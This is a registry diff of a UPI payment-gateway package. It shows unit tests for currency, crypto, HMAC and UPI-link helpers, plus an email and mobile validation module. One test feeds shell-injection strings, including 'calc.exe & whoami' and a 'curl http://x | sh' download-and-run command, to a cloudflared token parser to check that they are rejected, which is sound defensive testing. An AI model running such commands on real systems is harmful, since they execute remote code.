elpaypg 0.0.0-stage → 2.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (90) hide show
  1. package/.env.example +8 -0
  2. package/README.md +176 -2
  3. package/package.json +21 -4
  4. package/public/elpay-checkout.js +769 -0
  5. package/public/elpay-sms-gateway.apk +0 -0
  6. package/public/elpay-sms-gateway.apk.sha256 +1 -0
  7. package/public/elpay.js +785 -0
  8. package/public/fonts/dm-sans.woff2 +0 -0
  9. package/public/fonts/sora.woff2 +0 -0
  10. package/public/views/checkout.html +2839 -0
  11. package/public/views/partials/auth.html +110 -0
  12. package/public/views/partials/footer.html +54 -0
  13. package/public/views/partials/header.html +101 -0
  14. package/public/views/partials/modals.html +179 -0
  15. package/public/views/partials/payment-methods.html +526 -0
  16. package/public/views/partials/sidebar.html +75 -0
  17. package/public/views/partials/splash.html +35 -0
  18. package/src/__tests__/smoke.test.js +8 -0
  19. package/src/auth-guard.js +95 -0
  20. package/src/index.js +137 -0
  21. package/src/router.js +46 -0
  22. package/src/routes/admin.routes.js +2421 -0
  23. package/src/routes/checkout.routes.js +2000 -0
  24. package/src/routes/customer.routes.js +650 -0
  25. package/src/routes/device.routes.js +303 -0
  26. package/src/routes/payments.routes.js +446 -0
  27. package/src/routes/pollers.routes.js +653 -0
  28. package/src/services/observer-poller.service.js +369 -0
  29. package/src/services/tunnel-manager.js +130 -0
  30. package/src/services/whatsapp-berry.service.js +743 -0
  31. package/src/vendor/common/__tests__/common.test.js +297 -0
  32. package/src/vendor/common/__tests__/common.test.ts +160 -0
  33. package/src/vendor/common/contracts.js +64 -0
  34. package/src/vendor/common/contracts.ts +188 -0
  35. package/src/vendor/common/crypto.js +132 -0
  36. package/src/vendor/common/crypto.ts +112 -0
  37. package/src/vendor/common/enums.js +91 -0
  38. package/src/vendor/common/enums.ts +91 -0
  39. package/src/vendor/common/index.js +12 -0
  40. package/src/vendor/common/index.ts +8 -0
  41. package/src/vendor/common/money.js +62 -0
  42. package/src/vendor/common/money.ts +56 -0
  43. package/src/vendor/common/observation.js +27 -0
  44. package/src/vendor/common/observation.ts +52 -0
  45. package/src/vendor/common/runtime-config.js +246 -0
  46. package/src/vendor/common/secrets.js +374 -0
  47. package/src/vendor/common/state-machine.d.ts +1 -0
  48. package/src/vendor/common/state-machine.js +1 -0
  49. package/src/vendor/common/state-transitions.js +85 -0
  50. package/src/vendor/common/tunnel-command.js +59 -0
  51. package/src/vendor/common/upi-providers.js +389 -0
  52. package/src/vendor/common/upi-providers.ts +400 -0
  53. package/src/vendor/common/upi.js +69 -0
  54. package/src/vendor/common/upi.ts +61 -0
  55. package/src/vendor/core/__tests__/core.test.js +683 -0
  56. package/src/vendor/core/__tests__/queue-timing.test.js +237 -0
  57. package/src/vendor/core/__tests__/webhook-engine.test.js +243 -0
  58. package/src/vendor/core/attribution-engine.js +855 -0
  59. package/src/vendor/core/bank-email-parser.js +105 -0
  60. package/src/vendor/core/bank-sms-parser.js +183 -0
  61. package/src/vendor/core/device-security.js +506 -0
  62. package/src/vendor/core/index.js +13 -0
  63. package/src/vendor/core/normalizer.js +165 -0
  64. package/src/vendor/core/qr-lib.js +8 -0
  65. package/src/vendor/core/qr.js +62 -0
  66. package/src/vendor/core/queue-engine.js +153 -0
  67. package/src/vendor/core/recovery-engine.js +159 -0
  68. package/src/vendor/core/state-machine.js +42 -0
  69. package/src/vendor/core/timing-engine.js +272 -0
  70. package/src/vendor/core/verification-pipeline.js +1164 -0
  71. package/src/vendor/core/webhook-engine.js +280 -0
  72. package/src/vendor/db/__tests__/auth-matrix.test.js +564 -0
  73. package/src/vendor/db/__tests__/customer-reset.test.js +95 -0
  74. package/src/vendor/db/__tests__/db.test.js +265 -0
  75. package/src/vendor/db/__tests__/schema-parity.test.js +137 -0
  76. package/src/vendor/db/__tests__/sqlite_verify.test.js +15 -0
  77. package/src/vendor/db/database.js +181 -0
  78. package/src/vendor/db/index.js +12 -0
  79. package/src/vendor/db/migrate.js +210 -0
  80. package/src/vendor/db/repositories/audit-log.repository.js +68 -0
  81. package/src/vendor/db/repositories/customer-session.repository.js +181 -0
  82. package/src/vendor/db/repositories/customer.repository.js +636 -0
  83. package/src/vendor/db/repositories/device.repository.js +285 -0
  84. package/src/vendor/db/repositories/merchant.repository.js +158 -0
  85. package/src/vendor/db/repositories/observation.repository.js +124 -0
  86. package/src/vendor/db/repositories/payment-session.repository.js +618 -0
  87. package/src/vendor/db/repositories/receiving-account.repository.js +244 -0
  88. package/src/vendor/db/repositories/support-ticket.repository.js +140 -0
  89. package/src/vendor/db/schema.sql +266 -0
  90. package/src/vendor/db/sqlite-schema.sql +270 -0
@@ -0,0 +1,297 @@
1
+ import { test, describe } from 'node:test';
2
+ import assert from 'node:assert/strict';
3
+ import {
4
+ buildCloudflaredInvocation,
5
+ safeEqual,
6
+ toPaise,
7
+ toRupeesString,
8
+ formatINR,
9
+ encrypt,
10
+ decrypt,
11
+ generateHmac,
12
+ verifyHmac,
13
+ hashPassword,
14
+ verifyPassword,
15
+ isValidVpa,
16
+ buildUpiUri,
17
+ buildUpiIntentUri,
18
+ UPI_PROVIDERS,
19
+ getUpiProviders,
20
+ findUpiProviderByPackage,
21
+ findUpiProviderById,
22
+ ALLOWED_NOTIFICATION_PACKAGES,
23
+ isAllowedNotificationPackage,
24
+ calculateObservationFingerprint
25
+ } from '../index.js';
26
+
27
+ describe('../../common/index.js Unit Tests', () => {
28
+ describe('Money and Currency Utilities', () => {
29
+ test('converts valid rupee strings and numbers to integer paise', () => {
30
+ assert.equal(toPaise('200.00'), 20000n);
31
+ assert.equal(toPaise('200'), 20000n);
32
+ assert.equal(toPaise(200), 20000n);
33
+ assert.equal(toPaise('0.50'), 50n);
34
+ assert.equal(toPaise('0.05'), 5n);
35
+ assert.equal(toPaise('199.99'), 19999n);
36
+ });
37
+
38
+ test('rejects negative, zero, and malformed currency inputs', () => {
39
+ assert.throws(() => toPaise('0.00'), /greater than 0/);
40
+ assert.throws(() => toPaise('-50.00'), /Invalid INR rupee format/);
41
+ assert.throws(() => toPaise('12.345'), /Invalid INR rupee format/);
42
+ assert.throws(() => toPaise('abc'), /Invalid INR rupee format/);
43
+ assert.throws(() => toPaise(NaN), /Invalid monetary amount/);
44
+ });
45
+
46
+ test('formats paise into standard decimal string and INR symbol', () => {
47
+ assert.equal(toRupeesString(20000n), '200.00');
48
+ assert.equal(toRupeesString(50n), '0.50');
49
+ assert.equal(toRupeesString(5n), '0.05');
50
+ assert.equal(formatINR(20000n), '₹200.00');
51
+ assert.equal(formatINR(19999n), '₹199.99');
52
+ });
53
+ });
54
+
55
+ describe('Cryptographic Helpers', () => {
56
+ const testMasterKey = '0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef';
57
+
58
+ test('encrypts and decrypts with AES-256-GCM successfully', () => {
59
+ const original = 'super-secret-oauth-token-12345';
60
+ const encrypted = encrypt(original, testMasterKey);
61
+ assert.notEqual(encrypted, original);
62
+ assert.equal(encrypted.split(':').length, 3);
63
+
64
+ const decrypted = decrypt(encrypted, testMasterKey);
65
+ assert.equal(decrypted, original);
66
+ });
67
+
68
+ test('fails decryption if ciphertext or auth tag is tampered', () => {
69
+ const encrypted = encrypt('sensitive data', testMasterKey);
70
+ const parts = encrypted.split(':');
71
+ const tampered = `${parts[0]}:${parts[1]}:${parts[2]}ab`;
72
+ assert.throws(() => decrypt(tampered, testMasterKey));
73
+ });
74
+
75
+ test('generates and verifies HMAC-SHA256 signatures with timing safety', () => {
76
+ const secret = 'merchant_webhook_secret_xyz';
77
+ const payload = JSON.stringify({ event: 'SUCCESS', paymentId: 'p123' });
78
+ const signature = generateHmac(payload, secret);
79
+
80
+ assert.equal(verifyHmac(payload, secret, signature), true);
81
+ assert.equal(verifyHmac(payload, 'wrong_secret', signature), false);
82
+ assert.equal(verifyHmac('altered payload', secret, signature), false);
83
+ });
84
+
85
+ test('hashes and verifies passwords securely', () => {
86
+ const pass = 'CorrectHorseBatteryStaple!42';
87
+ const hash = hashPassword(pass);
88
+ assert.ok(hash.startsWith('100000:'));
89
+
90
+ assert.equal(verifyPassword(pass, hash), true);
91
+ assert.equal(verifyPassword('WrongPassword', hash), false);
92
+ });
93
+ });
94
+
95
+ describe('UPI Utilities', () => {
96
+ test('validates UPI VPAs correctly', () => {
97
+ assert.equal(isValidVpa('merchant@icici'), true);
98
+ assert.equal(isValidVpa('user.name-12@okhdfcbank'), true);
99
+ assert.equal(isValidVpa('invalid-vpa-no-bank'), false);
100
+ assert.equal(isValidVpa('@bank'), false);
101
+ assert.equal(isValidVpa(''), false);
102
+ });
103
+
104
+ test('builds canonical upi://pay URI dynamically with server amount', () => {
105
+ const uri = buildUpiUri({
106
+ payeeVpa: 'store@upi',
107
+ payeeName: 'Acme Store',
108
+ amountPaise: 20000n,
109
+ transactionRef: 'ORDER-99',
110
+ transactionNote: 'Order payment'
111
+ });
112
+
113
+ assert.ok(uri.startsWith('upi://pay?'));
114
+ const parsed = new URL(uri);
115
+ assert.equal(parsed.searchParams.get('pa'), 'store@upi');
116
+ assert.equal(parsed.searchParams.get('pn'), 'Acme Store');
117
+ assert.equal(parsed.searchParams.get('am'), '200.00');
118
+ assert.equal(parsed.searchParams.get('tn'), 'ORDER-99');
119
+ assert.equal(parsed.searchParams.get('tr'), null);
120
+ // Verify no extra noisy parameters
121
+ assert.equal(parsed.searchParams.get('cu'), null);
122
+ assert.deepEqual([...parsed.searchParams.keys()], ['pa', 'pn', 'am', 'tn']);
123
+ });
124
+
125
+ test('strictly excludes cu, tr and all extra parameters even when currency option is passed', () => {
126
+ const uri = buildUpiUri({
127
+ payeeVpa: '9876543210@axl',
128
+ payeeName: 'Demo Store Merchant',
129
+ amountPaise: 100n,
130
+ transactionRef: 'ORDER-123',
131
+ currency: 'INR'
132
+ });
133
+
134
+ assert.ok(uri.startsWith('upi://pay?'));
135
+ const parsed = new URL(uri);
136
+ assert.equal(parsed.searchParams.get('pa'), '9876543210@axl');
137
+ assert.equal(parsed.searchParams.get('pn'), 'Demo Store Merchant');
138
+ assert.equal(parsed.searchParams.get('am'), '1.00');
139
+ assert.equal(parsed.searchParams.get('tn'), 'ORDER-123');
140
+ // Strictly verify NO cu, NO tr, NO extra parameters
141
+ assert.equal(parsed.searchParams.get('cu'), null);
142
+ assert.equal(parsed.searchParams.get('tr'), null);
143
+ assert.deepEqual([...parsed.searchParams.keys()], ['pa', 'pn', 'am', 'tn']);
144
+ });
145
+
146
+ test('builds valid Android intent URI containing only canonical UPI parameters', () => {
147
+ const intentUri = buildUpiIntentUri({
148
+ payeeVpa: '9876543210@axl',
149
+ payeeName: 'Demo Store Merchant',
150
+ amountPaise: 100n,
151
+ transactionRef: 'ORDER-123',
152
+ currency: 'INR',
153
+ packageName: 'com.phonepe.app'
154
+ });
155
+
156
+ assert.ok(intentUri.startsWith('intent://pay?'));
157
+ assert.ok(intentUri.includes('package=com.phonepe.app'));
158
+ assert.ok(intentUri.includes('scheme=upi'));
159
+ assert.ok(intentUri.endsWith('#Intent;scheme=upi;package=com.phonepe.app;end'));
160
+ // Underlying query payload inside intent must not have cu or tr
161
+ const queryPart = intentUri.split('#')[0].replace('intent://pay?', '');
162
+ const queryParams = new URLSearchParams(queryPart);
163
+ assert.equal(queryParams.get('cu'), null);
164
+ assert.equal(queryParams.get('tr'), null);
165
+ assert.deepEqual([...queryParams.keys()], ['pa', 'pn', 'am', 'tn']);
166
+ });
167
+
168
+ test('validates 30 official UPI application provider registry', () => {
169
+ const providers = getUpiProviders();
170
+ assert.equal(providers.length, 30, 'Must have exactly 30 registered UPI providers');
171
+
172
+ // Verify Google Pay, PhonePe, Paytm packages
173
+ const gpay = findUpiProviderByPackage('com.google.android.apps.nbu.paisa.user');
174
+ assert.ok(gpay);
175
+ assert.equal(gpay.name, 'Google Pay');
176
+ assert.ok(gpay.iconUrl.includes('play-lh.googleusercontent.com'));
177
+ assert.ok(gpay.svgLogo.includes('<svg'));
178
+
179
+ const phonepe = findUpiProviderById('phonepe');
180
+ assert.ok(phonepe);
181
+ assert.equal(phonepe.packageName, 'com.phonepe.app');
182
+
183
+ const paytm = findUpiProviderById('paytm');
184
+ assert.ok(paytm);
185
+ assert.equal(paytm.packageName, 'net.one97.paytm');
186
+
187
+ // Verify all 30 providers have unique packages, names, and logos
188
+ const packages = new Set();
189
+ for (const p of providers) {
190
+ assert.ok(p.id, `Provider must have an id`);
191
+ assert.ok(p.name, `Provider must have a name`);
192
+ assert.ok(p.packageName, `Provider ${p.name} must have a packageName`);
193
+ assert.ok(p.iconUrl, `Provider ${p.name} must have an iconUrl`);
194
+ assert.ok(p.svgLogo, `Provider ${p.name} must have an svgLogo`);
195
+ assert.ok(!packages.has(p.packageName), `Duplicate package name: ${p.packageName}`);
196
+ packages.add(p.packageName);
197
+ }
198
+ });
199
+
200
+ test('validates unified ALLOWED_NOTIFICATION_PACKAGES and isAllowedNotificationPackage', () => {
201
+ assert.ok(Array.isArray(ALLOWED_NOTIFICATION_PACKAGES));
202
+ assert.ok(ALLOWED_NOTIFICATION_PACKAGES.length >= 38);
203
+
204
+ // Verify essential UPI and banking packages are included
205
+ assert.equal(isAllowedNotificationPackage('com.phonepe.app'), true);
206
+ assert.equal(isAllowedNotificationPackage('com.google.android.apps.nbu.paisa.user'), true);
207
+ assert.equal(isAllowedNotificationPackage('net.one97.paytm'), true);
208
+ assert.equal(isAllowedNotificationPackage('com.google.android.apps.messaging'), true);
209
+ assert.equal(isAllowedNotificationPackage('com.sbi.lotusintouch'), true);
210
+
211
+ // Case-insensitivity and trim handling
212
+ assert.equal(isAllowedNotificationPackage(' COM.PHONEPE.APP '), true);
213
+
214
+ // Rejects spoofed or unlisted apps
215
+ assert.equal(isAllowedNotificationPackage('com.attacker.fake.app'), false);
216
+ assert.equal(isAllowedNotificationPackage(''), false);
217
+ assert.equal(isAllowedNotificationPackage(null), false);
218
+ assert.equal(isAllowedNotificationPackage(undefined), false);
219
+ });
220
+ });
221
+
222
+ describe('Observation Fingerprinting', () => {
223
+ test('generates consistent fingerprints with bank reference numbers', () => {
224
+ const fp1 = calculateObservationFingerprint({
225
+ receivingAccountId: 'acc_1',
226
+ amountPaise: 20000n,
227
+ bankReferenceNumber: 'UTR12345678',
228
+ observedAt: new Date('2026-09-08T10:00:00Z')
229
+ });
230
+
231
+ const fp2 = calculateObservationFingerprint({
232
+ receivingAccountId: 'acc_1',
233
+ amountPaise: 20000n,
234
+ bankReferenceNumber: 'UTR12345678',
235
+ observedAt: new Date('2026-09-08T10:02:00Z')
236
+ });
237
+
238
+ assert.equal(fp1, fp2);
239
+ });
240
+
241
+ test('generates cluster fingerprints within same 60-second window when no reference', () => {
242
+ const fp1 = calculateObservationFingerprint({
243
+ receivingAccountId: 'acc_1',
244
+ amountPaise: 20000n,
245
+ observedAt: new Date('2026-09-08T10:00:10Z')
246
+ });
247
+
248
+ const fp2 = calculateObservationFingerprint({
249
+ receivingAccountId: 'acc_1',
250
+ amountPaise: 20000n,
251
+ observedAt: new Date('2026-09-08T10:00:45Z')
252
+ });
253
+
254
+ assert.equal(fp1, fp2);
255
+
256
+ const fpDiffTime = calculateObservationFingerprint({
257
+ receivingAccountId: 'acc_1',
258
+ amountPaise: 20000n,
259
+ observedAt: new Date('2026-09-08T10:05:00Z')
260
+ });
261
+
262
+ assert.notEqual(fp1, fpDiffTime);
263
+ });
264
+ });
265
+ });
266
+
267
+ describe('buildCloudflaredInvocation', () => {
268
+ const token = 'eyJhIjoiMDEyMzQ1Njc4OSIsInQiOiJhYmNkZWYifQ==';
269
+
270
+ test('extracts the token from pasted cloudflared commands and never returns the pasted text', () => {
271
+ for (const cmd of [
272
+ `cloudflared.exe service install ${token}`,
273
+ `cloudflared tunnel run --token ${token}`,
274
+ token
275
+ ]) {
276
+ const inv = buildCloudflaredInvocation(cmd);
277
+ assert.equal(inv.file, 'cloudflared');
278
+ assert.deepEqual(inv.args, ['tunnel', '--no-autoupdate', 'run', '--token', token]);
279
+ assert.ok(!inv.redacted.includes(token));
280
+ }
281
+ });
282
+
283
+ test('rejects commands without a token, including shell payloads', () => {
284
+ assert.throws(() => buildCloudflaredInvocation(''), /empty/);
285
+ assert.throws(() => buildCloudflaredInvocation('calc.exe & whoami'), /No valid Cloudflare tunnel token/);
286
+ assert.throws(() => buildCloudflaredInvocation('curl http://x | sh'), /No valid Cloudflare tunnel token/);
287
+ });
288
+ });
289
+
290
+ describe('safeEqual', () => {
291
+ test('compares strings in constant time and rejects non-strings', () => {
292
+ assert.equal(safeEqual('abc', 'abc'), true);
293
+ assert.equal(safeEqual('abc', 'abd'), false);
294
+ assert.equal(safeEqual('abc', 'abcd'), false);
295
+ assert.equal(safeEqual(undefined, 'abc'), false);
296
+ });
297
+ });
@@ -0,0 +1,160 @@
1
+ import { test, describe } from 'node:test';
2
+ import assert from 'node:assert/strict';
3
+ import {
4
+ toPaise,
5
+ toRupeesString,
6
+ formatINR,
7
+ encrypt,
8
+ decrypt,
9
+ generateHmac,
10
+ verifyHmac,
11
+ hashPassword,
12
+ verifyPassword,
13
+ isValidVpa,
14
+ buildUpiUri,
15
+ calculateObservationFingerprint
16
+ } from '../index.js';
17
+
18
+ describe('@elpay/common Unit Tests', () => {
19
+ describe('Money and Currency Utilities', () => {
20
+ test('converts valid rupee strings and numbers to integer paise', () => {
21
+ assert.equal(toPaise('200.00'), 20000n);
22
+ assert.equal(toPaise('200'), 20000n);
23
+ assert.equal(toPaise(200), 20000n);
24
+ assert.equal(toPaise('0.50'), 50n);
25
+ assert.equal(toPaise('0.05'), 5n);
26
+ assert.equal(toPaise('199.99'), 19999n);
27
+ });
28
+
29
+ test('rejects negative, zero, and malformed currency inputs', () => {
30
+ assert.throws(() => toPaise('0.00'), /greater than 0/);
31
+ assert.throws(() => toPaise('-50.00'), /Invalid INR rupee format/);
32
+ assert.throws(() => toPaise('12.345'), /Invalid INR rupee format/);
33
+ assert.throws(() => toPaise('abc'), /Invalid INR rupee format/);
34
+ assert.throws(() => toPaise(NaN), /Invalid monetary amount/);
35
+ });
36
+
37
+ test('formats paise into standard decimal string and INR symbol', () => {
38
+ assert.equal(toRupeesString(20000n), '200.00');
39
+ assert.equal(toRupeesString(50n), '0.50');
40
+ assert.equal(toRupeesString(5n), '0.05');
41
+ assert.equal(formatINR(20000n), '₹200.00');
42
+ assert.equal(formatINR(19999n), '₹199.99');
43
+ });
44
+ });
45
+
46
+ describe('Cryptographic Helpers', () => {
47
+ const testMasterKey = '0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef';
48
+
49
+ test('encrypts and decrypts with AES-256-GCM successfully', () => {
50
+ const original = 'super-secret-oauth-token-12345';
51
+ const encrypted = encrypt(original, testMasterKey);
52
+ assert.notEqual(encrypted, original);
53
+ assert.equal(encrypted.split(':').length, 3);
54
+
55
+ const decrypted = decrypt(encrypted, testMasterKey);
56
+ assert.equal(decrypted, original);
57
+ });
58
+
59
+ test('fails decryption if ciphertext or auth tag is tampered', () => {
60
+ const encrypted = encrypt('sensitive data', testMasterKey);
61
+ const parts = encrypted.split(':');
62
+ // Tamper with cipher part
63
+ const tampered = `${parts[0]}:${parts[1]}:${parts[2]}ab`;
64
+ assert.throws(() => decrypt(tampered, testMasterKey));
65
+ });
66
+
67
+ test('generates and verifies HMAC-SHA256 signatures with timing safety', () => {
68
+ const secret = 'merchant_webhook_secret_xyz';
69
+ const payload = JSON.stringify({ event: 'SUCCESS', paymentId: 'p123' });
70
+ const signature = generateHmac(payload, secret);
71
+
72
+ assert.equal(verifyHmac(payload, secret, signature), true);
73
+ assert.equal(verifyHmac(payload, 'wrong_secret', signature), false);
74
+ assert.equal(verifyHmac('altered payload', secret, signature), false);
75
+ });
76
+
77
+ test('hashes and verifies passwords securely', () => {
78
+ const pass = 'CorrectHorseBatteryStaple!42';
79
+ const hash = hashPassword(pass);
80
+ assert.ok(hash.startsWith('100000:'));
81
+
82
+ assert.equal(verifyPassword(pass, hash), true);
83
+ assert.equal(verifyPassword('WrongPassword', hash), false);
84
+ });
85
+ });
86
+
87
+ describe('UPI Utilities', () => {
88
+ test('validates UPI VPAs correctly', () => {
89
+ assert.equal(isValidVpa('merchant@icici'), true);
90
+ assert.equal(isValidVpa('user.name-12@okhdfcbank'), true);
91
+ assert.equal(isValidVpa('invalid-vpa-no-bank'), false);
92
+ assert.equal(isValidVpa('@bank'), false);
93
+ assert.equal(isValidVpa(''), false);
94
+ });
95
+
96
+ test('builds canonical upi://pay URI dynamically with server amount', () => {
97
+ const uri = buildUpiUri({
98
+ payeeVpa: 'store@upi',
99
+ payeeName: 'Acme Store',
100
+ amountPaise: 20000n,
101
+ transactionRef: 'ORDER-99',
102
+ transactionNote: 'Order payment'
103
+ });
104
+
105
+ assert.ok(uri.startsWith('upi://pay?'));
106
+ const parsed = new URL(uri);
107
+ assert.equal(parsed.searchParams.get('pa'), 'store@upi');
108
+ assert.equal(parsed.searchParams.get('pn'), 'Acme Store');
109
+ assert.equal(parsed.searchParams.get('am'), '200.00');
110
+ assert.equal(parsed.searchParams.get('tn'), 'ORDER-99');
111
+ assert.equal(parsed.searchParams.get('tr'), null);
112
+ assert.equal(parsed.searchParams.get('cu'), null);
113
+ assert.deepEqual([...parsed.searchParams.keys()], ['pa', 'pn', 'am', 'tn']);
114
+ });
115
+ });
116
+
117
+ describe('Observation Fingerprinting', () => {
118
+ test('generates consistent fingerprints with bank reference numbers', () => {
119
+ const fp1 = calculateObservationFingerprint({
120
+ receivingAccountId: 'acc_1',
121
+ amountPaise: 20000n,
122
+ bankReferenceNumber: 'UTR12345678',
123
+ observedAt: new Date('2026-09-08T10:00:00Z')
124
+ });
125
+
126
+ const fp2 = calculateObservationFingerprint({
127
+ receivingAccountId: 'acc_1',
128
+ amountPaise: 20000n,
129
+ bankReferenceNumber: 'UTR12345678',
130
+ observedAt: new Date('2026-09-08T10:02:00Z') // even 2 mins later, same UTR = same fingerprint
131
+ });
132
+
133
+ assert.equal(fp1, fp2);
134
+ });
135
+
136
+ test('generates cluster fingerprints within same 60-second window when no reference', () => {
137
+ const fp1 = calculateObservationFingerprint({
138
+ receivingAccountId: 'acc_1',
139
+ amountPaise: 20000n,
140
+ observedAt: new Date('2026-09-08T10:00:10Z')
141
+ });
142
+
143
+ const fp2 = calculateObservationFingerprint({
144
+ receivingAccountId: 'acc_1',
145
+ amountPaise: 20000n,
146
+ observedAt: new Date('2026-09-08T10:00:45Z') // within same minute
147
+ });
148
+
149
+ assert.equal(fp1, fp2);
150
+
151
+ const fpDiffTime = calculateObservationFingerprint({
152
+ receivingAccountId: 'acc_1',
153
+ amountPaise: 20000n,
154
+ observedAt: new Date('2026-09-08T10:05:00Z') // 5 minutes later
155
+ });
156
+
157
+ assert.notEqual(fp1, fpDiffTime);
158
+ });
159
+ });
160
+ });
@@ -0,0 +1,64 @@
1
+ /**
2
+ * Public and Internal API Contracts, DTO definitions, and Webhook Payloads.
3
+ */
4
+
5
+ export const DefaultBranding = Object.freeze({
6
+ appName: 'ELPAY PG',
7
+ primaryColor: '#2563eb',
8
+ logoUrl: null
9
+ });
10
+
11
+ /**
12
+ * Normalizes an email address to trimmed lowercase.
13
+ * @param {string} email
14
+ * @returns {string}
15
+ */
16
+ export function normalizeEmail(email) {
17
+ if (!email || typeof email !== 'string') return '';
18
+ return email.trim().toLowerCase();
19
+ }
20
+
21
+ /**
22
+ * Validates email format with standard requirements.
23
+ * @param {string} email
24
+ * @returns {boolean}
25
+ */
26
+ export function isValidEmail(email) {
27
+ const norm = normalizeEmail(email);
28
+ if (!norm) return false;
29
+ return /^[^\s@]+@[^\s@]+\.[a-zA-Z]{2,}$/.test(norm);
30
+ }
31
+
32
+ /**
33
+ * Normalizes a mobile number to canonical 10 digits (stripping prefixes and country codes).
34
+ * @param {string} mobile
35
+ * @returns {string}
36
+ */
37
+ export function normalizeMobile(mobile) {
38
+ if (!mobile) return '';
39
+ const cleaned = String(mobile).replace(/\D/g, '');
40
+ if (cleaned.length >= 10) {
41
+ return cleaned.slice(-10);
42
+ }
43
+ return cleaned;
44
+ }
45
+
46
+ /**
47
+ * Validates canonical Indian 10-digit mobile number format.
48
+ * @param {string} mobile
49
+ * @returns {boolean}
50
+ */
51
+ export function isValidMobile(mobile) {
52
+ const norm = normalizeMobile(mobile);
53
+ return /^[6-9]\d{9}$/.test(norm);
54
+ }
55
+
56
+ /**
57
+ * Validates password strength (minimum 6 characters).
58
+ * @param {string} password
59
+ * @returns {boolean}
60
+ */
61
+ export function isValidPassword(password) {
62
+ return typeof password === 'string' && password.length >= 6;
63
+ }
64
+